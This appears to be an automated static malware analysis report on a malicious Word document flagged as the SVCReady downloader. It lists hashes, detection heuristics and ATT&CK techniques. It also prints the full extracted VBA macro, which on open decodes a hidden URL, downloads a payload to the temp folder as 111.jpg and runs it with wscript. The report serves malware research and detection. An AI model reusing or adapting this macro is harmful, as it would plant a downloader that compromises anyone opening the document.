Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f68bbc6e0cbc6c50…

MALICIOUS

Office (OOXML)

111.8 KB Created: 2020-07-24 08:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 2ce14c3dc95c33045d9132472c6e2fa0 SHA-1: b7725b8ee21af760a2b2dad8ef4eecf27f6c936b SHA-256: f68bbc6e0cbc6c507b80db4e7af29f9b9ed2a7c39b93f8f99c6face63362117e
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a malicious OOXML document containing a VBA macro with an AutoOpen function. This macro is designed to download a second-stage payload from an embedded URL, reconstruct it, and execute it. The script attempts to save the payload to the temporary directory as '111.jpg' and then execute it using 'wscript.exe'. It also attempts to establish persistence by writing to the Run key.

Heuristics 7

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack1\us.jpg
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1752 bytes
SHA-256: ef5fb06790072123db81e23b4c9833f544dbf072a889e0a3f47c70ace7257cbf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ba144930"
Sub AutoOpen()
Dim e78ec03f As New bb75902f
aaa = dbe6aed3(ed69f2e3)
fce5d65a = e78ec03f.caa2a13b(aaa, "")
e0362c8c cc886d68, fce5d65a
Dim ce28eae7 As New WshShell
Call ce28eae7.exec(dbe6aed3("rb1e8dg13s14v79") & "r32 " & cc886d68)
End Sub

Attribute VB_Name = "fcfdc320"
Sub e0362c8c(c66c492b, d1b33199)
Dim e388d4e3
e388d4e3 = FreeFile
Open c66c492b For Output As #e388d4e3
Print #e388d4e3, ffe45a69(d1b33199)
Close #e388d4e3
End Sub
Function cc886d68()
cc886d68 = Environ("tmp") & "\111.jpg"
End Function
Function dbe6aed3(d47371b5)
For a9f643dd = 1 To Len(d47371b5) Step 3
eb327a4b = eb327a4b & Mid(d47371b5, a9f643dd, 1)
Next
dbe6aed3 = eb327a4b
End Function
Sub c4c9ad8c()
End Sub
Function ffe45a69(d1b33199)
ffe45a69 = StrConv(d1b33199, 64)
End Function
Function ed69f2e3()
ed69f2e3 = ActiveDocument.Shapes(1).AlternativeText
End Function

Attribute VB_Name = "bb75902f"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function caa2a13b(ee60240c, fe5f5dfa)
Dim a2451e58 As Object
Set a2451e58 = New MSXML2.XMLHTTP60
Call a2451e58.Open("GET", ee60240c, False)
a2451e58.Send
caa2a13b = a2451e58.responsebody
End Function
Function b5098967(e02a6750)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: 0c5532dce20223c77bf360206250e2416e1795aa01533ec2b3abe815a7902e2b

Open this report in the interactive analyzer, or submit your own file for analysis.